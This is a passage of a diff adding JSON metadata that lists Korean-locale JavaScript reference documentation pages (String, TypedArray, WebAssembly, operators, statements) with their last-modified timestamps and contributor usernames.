+  "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": {
+    "modified": "2020-10-15T21:48:27.284Z",
+    "contributors": [
+      "alattalatta",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/concat": {
+    "modified": "2020-10-15T21:45:37.865Z",
+    "contributors": [
+      "yami03",
+      "seulgiyoon",
+      "alattalatta",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/endsWith": {
+    "modified": "2020-04-21T05:33:31.555Z",
+    "contributors": [
+      "yami03",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": {
+    "modified": "2020-10-15T22:13:58.437Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/includes": {
+    "modified": "2020-10-15T21:45:37.765Z",
+    "contributors": [
+      "alattalatta",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/indexOf": {
+    "modified": "2020-10-15T21:45:49.888Z",
+    "contributors": [
+      "alattalatta",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": {
+    "modified": "2020-10-15T21:45:54.942Z",
+    "contributors": [
+      "alattalatta",
+      "jihunsuh",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/length": {
+    "modified": "2020-10-15T21:45:30.378Z",
+    "contributors": [
+      "alattalatta",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/localeCompare": {
+    "modified": "2020-10-15T21:57:59.121Z",
+    "contributors": [
+      "bboding",
+      "s2s2kim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/match": {
+    "modified": "2020-10-15T22:06:19.802Z",
+    "contributors": [
+      "Donghoon",
+      "chaewonkong",
+      "Yonnani"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/normalize": {
+    "modified": "2020-10-15T22:16:57.680Z",
+    "contributors": [
+      "lifeisnovel"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/padEnd": {
+    "modified": "2020-10-15T22:08:41.887Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/padStart": {
+    "modified": "2020-10-15T22:08:41.615Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/prototype": {
+    "modified": "2019-09-19T03:24:36.691Z",
+    "contributors": [
+      "dbs6339",
+      "pusanbear",
+      "teoli",
+      "MoGi"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/repeat": {
+    "modified": "2020-10-15T21:56:14.890Z",
+    "contributors": [
+      "alattalatta",
+      "wicksome"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/replace": {
+    "modified": "2020-10-15T21:48:26.744Z",
+    "contributors": [
+      "limkukhyun",
+      "yonggoo.noh",
+      "alattalatta",
+      "ejay0811",
+      "rlaxognsk",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/search": {
+    "modified": "2020-10-15T22:10:00.509Z",
+    "contributors": [
+      "Parcovia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/slice": {
+    "modified": "2020-10-15T21:53:59.719Z",
+    "contributors": [
+      "bigsaigon333",
+      "limkukhyun",
+      "KaylaKwon",
+      "enchantor",
+      "REDO",
+      "laranhee",
+      "AlexMin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/split": {
+    "modified": "2020-10-15T22:14:46.442Z",
+    "contributors": [
+      "EatChangmyeong",
+      "alattalatta",
+      "yuntaek"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/startsWith": {
+    "modified": "2020-10-15T21:47:53.784Z",
+    "contributors": [
+      "alattalatta",
+      "skylar.kim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/substr": {
+    "modified": "2020-10-15T21:47:08.634Z",
+    "contributors": [
+      "alattalatta",
+      "pusanbear"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/substring": {
+    "modified": "2020-10-15T22:18:53.078Z",
+    "contributors": [
+      "Saem",
+      "bohyun611kim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": {
+    "modified": "2020-10-15T21:57:11.550Z",
+    "contributors": [
+      "alattalatta",
+      "swtpumpkin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/toSource": {
+    "modified": "2020-10-15T22:02:06.022Z",
+    "contributors": [
+      "teoli",
+      "ejay0811"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/toString": {
+    "modified": "2020-10-15T22:27:29.788Z",
+    "contributors": [
+      "rjsdnql123"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": {
+    "modified": "2020-10-15T21:55:16.088Z",
+    "contributors": [
+      "alattalatta",
+      "swtpumpkin",
+      "seokju-na"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/valueOf": {
+    "modified": "2020-10-15T22:25:44.637Z",
+    "contributors": [
+      "hyoni0817"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Symbol": {
+    "modified": "2020-10-15T21:40:09.882Z",
+    "contributors": [
+      "dolmoon",
+      "SphinxKnight",
+      "HyunSeob",
+      "maytree"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Symbol/for": {
+    "modified": "2019-03-23T22:16:10.868Z",
+    "contributors": [
+      "Hou"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": {
+    "modified": "2020-10-15T22:00:39.078Z",
+    "contributors": [
+      "limkukhyun",
+      "BANIP"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/SyntaxError": {
+    "modified": "2020-10-15T21:48:16.048Z",
+    "contributors": [
+      "alattalatta",
+      "2oosoo",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype": {
+    "modified": "2019-03-23T22:28:47.337Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypeError": {
+    "modified": "2020-10-15T21:38:37.821Z",
+    "contributors": [
+      "alattalatta",
+      "kirrie",
+      "JiminP"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray": {
+    "modified": "2019-06-18T04:56:00.166Z",
+    "contributors": [
+      "kooljay82",
+      "Netaras",
+      "Khai96_"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator": {
+    "modified": "2019-03-23T22:30:48.269Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": {
+    "modified": "2020-10-15T21:47:35.788Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/buffer": {
+    "modified": "2019-03-23T22:30:15.273Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength": {
+    "modified": "2020-10-15T21:47:38.660Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset": {
+    "modified": "2020-10-15T21:47:35.902Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/fill": {
+    "modified": "2020-10-15T21:39:40.326Z",
+    "contributors": [
+      "alattalatta",
+      "Hmmim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf": {
+    "modified": "2020-10-15T22:21:44.673Z",
+    "contributors": [
+      "naraeim",
+      "SphinxKnight"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/length": {
+    "modified": "2020-10-15T21:47:35.796Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/name": {
+    "modified": "2020-10-15T21:47:34.390Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/of": {
+    "modified": "2020-10-15T22:03:56.631Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/prototype": {
+    "modified": "2019-03-23T22:30:03.771Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/reverse": {
+    "modified": "2020-10-15T21:47:33.171Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/set": {
+    "modified": "2020-10-15T21:47:35.773Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/slice": {
+    "modified": "2019-03-23T22:30:24.203Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/some": {
+    "modified": "2020-10-15T21:47:37.645Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/sort": {
+    "modified": "2019-03-23T22:30:47.108Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/TypedArray/values": {
+    "modified": "2019-03-23T22:30:45.463Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WeakMap": {
+    "modified": "2019-03-23T22:27:55.353Z",
+    "contributors": [
+      "Netaras",
+      "billybraga"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": {
+    "modified": "2020-10-15T22:04:27.439Z",
+    "contributors": [
+      "alattalatta",
+      "limkukhyun",
+      "Seok.Heo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WeakMap/prototype": {
+    "modified": "2019-03-23T22:27:54.259Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WeakSet": {
+    "modified": "2020-10-15T21:48:47.357Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WeakSet/prototype": {
+    "modified": "2019-03-23T22:28:07.290Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly": {
+    "modified": "2020-10-15T21:53:02.555Z",
+    "contributors": [
+      "limkukhyun",
+      "0xABCDEF"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError": {
+    "modified": "2020-10-15T22:07:58.077Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global": {
+    "modified": "2020-10-15T22:08:05.155Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype": {
+    "modified": "2020-10-15T22:08:10.181Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance": {
+    "modified": "2020-10-15T22:07:55.815Z",
+    "contributors": [
+      "limkukhyun",
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError": {
+    "modified": "2020-10-15T22:08:04.793Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory": {
+    "modified": "2020-10-15T22:08:00.915Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/Module": {
+    "modified": "2020-10-15T22:07:56.280Z",
+    "contributors": [
+      "limkukhyun",
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError": {
+    "modified": "2020-10-15T22:08:08.186Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": {
+    "modified": "2020-10-15T22:07:58.705Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": {
+    "modified": "2020-10-15T22:07:56.654Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": {
+    "modified": "2020-10-15T22:07:56.654Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate": {
+    "modified": "2020-10-15T22:07:57.168Z",
+    "contributors": [
+      "fnwinter",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming": {
+    "modified": "2020-10-15T22:08:08.189Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/WebAssembly/validate": {
+    "modified": "2020-10-15T22:08:00.982Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/decodeURI": {
+    "modified": "2020-10-15T22:01:55.624Z",
+    "contributors": [
+      "jeoyoho"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": {
+    "modified": "2020-10-15T21:48:49.294Z",
+    "contributors": [
+      "alattalatta",
+      "jeoyoho",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/encodeURI": {
+    "modified": "2020-10-15T22:02:01.889Z",
+    "contributors": [
+      "alattalatta",
+      "jeoyoho"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": {
+    "modified": "2020-10-15T21:29:14.784Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "under_09"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/eval": {
+    "modified": "2020-11-14T12:46:31.739Z",
+    "contributors": [
+      "cog25",
+      "EatChangmyeong",
+      "alattalatta",
+      "LOG91",
+      "goeo1066",
+      "desty",
+      "nicesh"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/globalThis": {
+    "modified": "2020-10-15T22:14:31.677Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/isFinite": {
+    "modified": "2020-10-15T21:44:39.927Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/isNaN": {
+    "modified": "2020-10-15T21:46:27.577Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/null": {
+    "modified": "2020-10-15T21:40:32.117Z",
+    "contributors": [
+      "alattalatta",
+      "nicesh"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/parseFloat": {
+    "modified": "2020-10-15T21:58:14.258Z",
+    "contributors": [
+      "alattalatta",
+      "inkyungkim"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/parseInt": {
+    "modified": "2020-10-15T21:48:49.061Z",
+    "contributors": [
+      "bigsaigon333",
+      "alattalatta",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/undefined": {
+    "modified": "2020-10-15T21:40:31.421Z",
+    "contributors": [
+      "alattalatta",
+      "nicesh"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/uneval": {
+    "modified": "2020-10-15T21:52:46.647Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "Perlmint"
+    ]
+  },
+  "Web/JavaScript/Reference/Iteration_protocols": {
+    "modified": "2020-03-12T19:44:08.276Z",
+    "contributors": [
+      "Snark",
+      "dragmove",
+      "echo304"
+    ]
+  },
+  "Web/JavaScript/Reference/Lexical_grammar": {
+    "modified": "2020-10-15T21:47:17.603Z",
+    "contributors": [
+      "honggaruy",
+      "alattalatta",
+      "softweaver",
+      "Roomination",
+      "paranbaram"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators": {
+    "modified": "2020-10-15T21:15:29.282Z",
+    "contributors": [
+      "limkukhyun",
+      "Violet-Bora-Lee",
+      "alattalatta",
+      "haeguri",
+      "Netaras",
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Addition": {
+    "modified": "2020-10-15T22:34:18.983Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Arithmetic_Operators": {
+    "modified": "2020-10-15T21:50:08.581Z",
+    "contributors": [
+      "alattalatta",
+      "chimimode",
+      "fscholz",
+      "wbamberg",
+      "KSH-code",
+      "siwoolee",
+      "ChanghwaLee",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Assignment_Operators": {
+    "modified": "2020-10-15T21:50:31.036Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "NessunKim",
+      "daehyoung"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Bitwise_Operators": {
+    "modified": "2020-10-15T21:25:50.021Z",
+    "contributors": [
+      "alattalatta",
+      "jghg2724",
+      "epicsaga",
+      "daewon",
+      "teoli",
+      "Cho.Eun"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Comma_Operator": {
+    "modified": "2020-10-15T21:48:31.441Z",
+    "contributors": [
+      "alattalatta",
+      "hoony"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Comparison_Operators": {
+    "modified": "2020-10-15T21:46:03.880Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "ohsory1324",
+      "LEGOLLAS"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Conditional_Operator": {
+    "modified": "2020-10-15T21:39:25.018Z",
+    "contributors": [
+      "pyjun01",
+      "alattalatta",
+      "limkukhyun",
+      "taisuk",
+      "reoim",
+      "epicsaga"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Destructuring_assignment": {
+    "modified": "2020-10-15T21:45:50.516Z",
+    "contributors": [
+      "alattalatta",
+      "corund",
+      "dolmoon",
+      "NessunKim",
+      "kdex",
+      "faker007",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Equality": {
+    "modified": "2020-10-15T22:35:05.143Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Grouping": {
+    "modified": "2020-10-15T21:45:49.973Z",
+    "contributors": [
+      "alattalatta",
+      "SeungYeol",
+      "seung-yeol"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": {
+    "modified": "2020-10-15T22:25:44.809Z",
+    "contributors": [
+      "ssohymind",
+      "Jung.Kyu-Hyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Object_initializer": {
+    "modified": "2020-10-15T21:47:08.402Z",
+    "contributors": [
+      "honggaruy",
+      "callin2",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Optional_chaining": {
+    "modified": "2020-10-15T22:25:42.843Z",
+    "contributors": [
+      "Jung.Kyu-Hyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Pipeline_operator": {
+    "modified": "2020-10-15T22:15:31.566Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Property_Accessors": {
+    "modified": "2020-10-15T21:46:18.602Z",
+    "contributors": [
+      "alattalatta",
+      "Violet-Bora-Lee",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Remainder": {
+    "modified": "2020-10-15T22:35:04.854Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Spread_syntax": {
+    "modified": "2020-10-15T22:03:25.315Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "cnaa97",
+      "ageofsys"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/async_function": {
+    "modified": "2020-10-15T21:53:15.087Z",
+    "contributors": [
+      "ibizcox",
+      "alattalatta",
+      "undefcat"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/await": {
+    "modified": "2020-10-15T21:53:13.195Z",
+    "contributors": [
+      "rmfpdlxmtidl",
+      "limkukhyun",
+      "NessunKim",
+      "HomoEfficio",
+      "undefcat"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/class": {
+    "modified": "2020-10-15T21:46:02.874Z",
+    "contributors": [
+      "dsma73",
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/delete": {
+    "modified": "2020-10-15T21:56:50.911Z",
+    "contributors": [
+      "alattalatta",
+      "itsjiwonpark",
+      "Hou"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/function": {
+    "modified": "2020-10-15T21:45:42.250Z",
+    "contributors": [
+      "dolmoon",
+      "limkukhyun",
+      "laranhee",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/function*": {
+    "modified": "2020-10-15T21:38:18.382Z",
+    "contributors": [
+      "limkukhyun",
+      "KSH-code",
+      "JaehaAhn"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/in": {
+    "modified": "2020-03-12T19:42:49.608Z",
+    "contributors": [
+      "."
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/instanceof": {
+    "modified": "2020-10-15T21:48:46.760Z",
+    "contributors": [
+      "alattalatta",
+      "tg0825",
+      "dooyou21",
+      "moolow",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/new": {
+    "modified": "2020-10-15T21:50:30.370Z",
+    "contributors": [
+      "alattalatta",
+      "luke.bae",
+      "KSH-code",
+      "daehyoung"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/new.target": {
+    "modified": "2020-10-15T21:48:09.333Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/super": {
+    "modified": "2020-10-15T21:43:46.088Z",
+    "contributors": [
+      "alattalatta",
+      "jeonnoej"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/this": {
+    "modified": "2020-10-15T21:16:21.207Z",
+    "contributors": [
+      "StolenMoments",
+      "cs09g",
+      "alattalatta",
+      "utatti",
+      "huusz",
+      "teoli",
+      "eros21c",
+      "Channy"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/typeof": {
+    "modified": "2020-10-15T21:47:39.354Z",
+    "contributors": [
+      "Seonghui",
+      "alattalatta",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/void": {
+    "modified": "2020-10-15T21:24:25.804Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "siriz"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/yield": {
+    "modified": "2020-03-12T19:43:03.959Z",
+    "contributors": [
+      "coolengineer",
+      "ByeongGi",
+      "2oosoo",
+      "Yunhong-Min",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/yield*": {
+    "modified": "2020-10-15T21:41:31.854Z",
+    "contributors": [
+      "alattalatta",
+      "hanmomhanda",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/논리_연산자(Logical_Operators)": {
+    "modified": "2020-10-15T21:47:31.347Z",
+    "contributors": [
+      "alattalatta",
+      "atomDevelop",
+      "r2fresh",
+      "Parcovia",
+      "gnujoow",
+      "helloheesu",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/연산자_우선순위": {
+    "modified": "2020-04-10T08:53:04.223Z",
+    "contributors": [
+      "EatChangmyeong",
+      "alattalatta",
+      "."
+    ]
+  },
+  "Web/JavaScript/Reference/Statements": {
+    "modified": "2020-10-15T21:26:12.348Z",
+    "contributors": [
+      "alattalatta",
+      "naduhy2",
+      "Netaras",
+      "teoli",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/Empty": {
+    "modified": "2020-10-15T22:04:17.983Z",
+    "contributors": [
+      "alattalatta",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/async_function": {
+    "modified": "2020-10-15T21:51:55.526Z",
+    "contributors": [
+      "MoonHyuk",
+      "jhoijune",
+      "DeadIntegral",
+      "limkukhyun",
+      "Konan"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/block": {
+    "modified": "2020-10-15T21:50:27.290Z",
+    "contributors": [
+      "alattalatta",
+      "daehyoung"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/break": {
+    "modified": "2020-10-15T21:44:31.572Z",
+    "contributors": [
+      "alattalatta",
+      "jeehyukwon",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/class": {
+    "modified": "2020-10-15T21:46:03.105Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/const": {
+    "modified": "2020-10-15T21:38:50.829Z",
+    "contributors": [
+      "alattalatta",
+      "warnee",
+      "maxtortime",
+      "kdex",
+      "Netaras",
+      "kuil09"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/continue": {
+    "modified": "2020-10-15T22:04:27.151Z",
+    "contributors": [
+      "alattalatta",
+      "SSJ-unclear",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/debugger": {
+    "modified": "2020-10-15T22:04:18.665Z",
+    "contributors": [
+      "alattalatta",
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/default": {
+    "modified": "2020-10-15T22:07:33.273Z",
+    "contributors": [
+      "alattalatta",
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/do...while": {
+    "modified": "2020-10-15T22:30:37.801Z",
+    "contributors": [
+      "jyman7811"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/export": {
+    "modified": "2020-10-15T21:41:49.561Z",
+    "contributors": [
+      "copyx",
+      "alattalatta",
+      "yonggoo.noh",
+      "LeeJunyeol",
+      "umbria",
+      "haydnhkim"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/for": {
+    "modified": "2020-10-15T21:46:03.615Z",
+    "contributors": [
+      "alattalatta",
+      "SeungYeol"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/for-await...of": {
+    "modified": "2020-10-15T22:27:58.512Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/for...in": {
+    "modified": "2020-10-15T21:26:08.013Z",
+    "contributors": [
+      "Sunmin0520",
+      "limkukhyun",
+      "teoli",
+      "Androidbee"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/for...of": {
+    "modified": "2020-10-15T21:36:35.059Z",
+    "contributors": [
+      "jacob17",
+      "alattalatta",
+      "Netaras",
+      "ligeek"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/function": {
+    "modified": "2020-10-15T21:45:43.150Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/function*": {
+    "modified": "2020-10-15T21:38:18.568Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "silmari",
+      "kdex",
+      "resoliwan",
+      "KisukPark",
+      "AHNJAEHA",
+      "preco21",
+      "JaehaAhn"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/if...else": {
+    "modified": "2020-10-15T21:46:05.432Z",
+    "contributors": [
+      "yami03",
+      "alattalatta",
+      "Parcovia",
+      "Jungmin"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/import": {
+    "modified": "2020-10-15T21:39:54.342Z",
+    "contributors": [
+      "alattalatta",
+      "hwshim",
+      "haydnhkim"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/label": {
+    "modified": "2020-03-12T19:45:32.505Z",
+    "contributors": [
+      "wafersroom"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/let": {
+    "modified": "2020-10-15T21:40:35.318Z",
+    "contributors": [
+      "cjacking3",
+      "SeonHyungJo",
+      "Isitea",
+      "RingoKim"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/return": {
+    "modified": "2020-10-15T21:50:13.127Z",
+    "contributors": [
+      "alattalatta",
+      "2oosoo",
+      "Diana_"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/switch": {
+    "modified": "2020-10-15T21:49:53.296Z",
+    "contributors": [
+      "chimimode",
+      "ByeongGi",
+      "nidev"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/throw": {
+    "modified": "2020-10-15T22:04:25.321Z",
+    "contributors": [
+      "SSJ-unclear",
+      "hongnakyung"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/try...catch": {
+    "modified": "2020-10-15T21:40:10.256Z",
+    "contributors": [
+      "limkukhyun",
+      "deltakor1234",
+      "SSJ-unclear",
+      "pianorange",
+      "epicsaga"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/var": {
+    "modified": "2020-10-15T21:42:33.307Z",
+    "contributors": [
+      "alattalatta",
+      "naduhy2",
+      "jaeminkim87",
+      "teoli"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/while": {
+    "modified": "2020-03-12T19:45:49.250Z",
+    "contributors": [
+      "galcyurio",
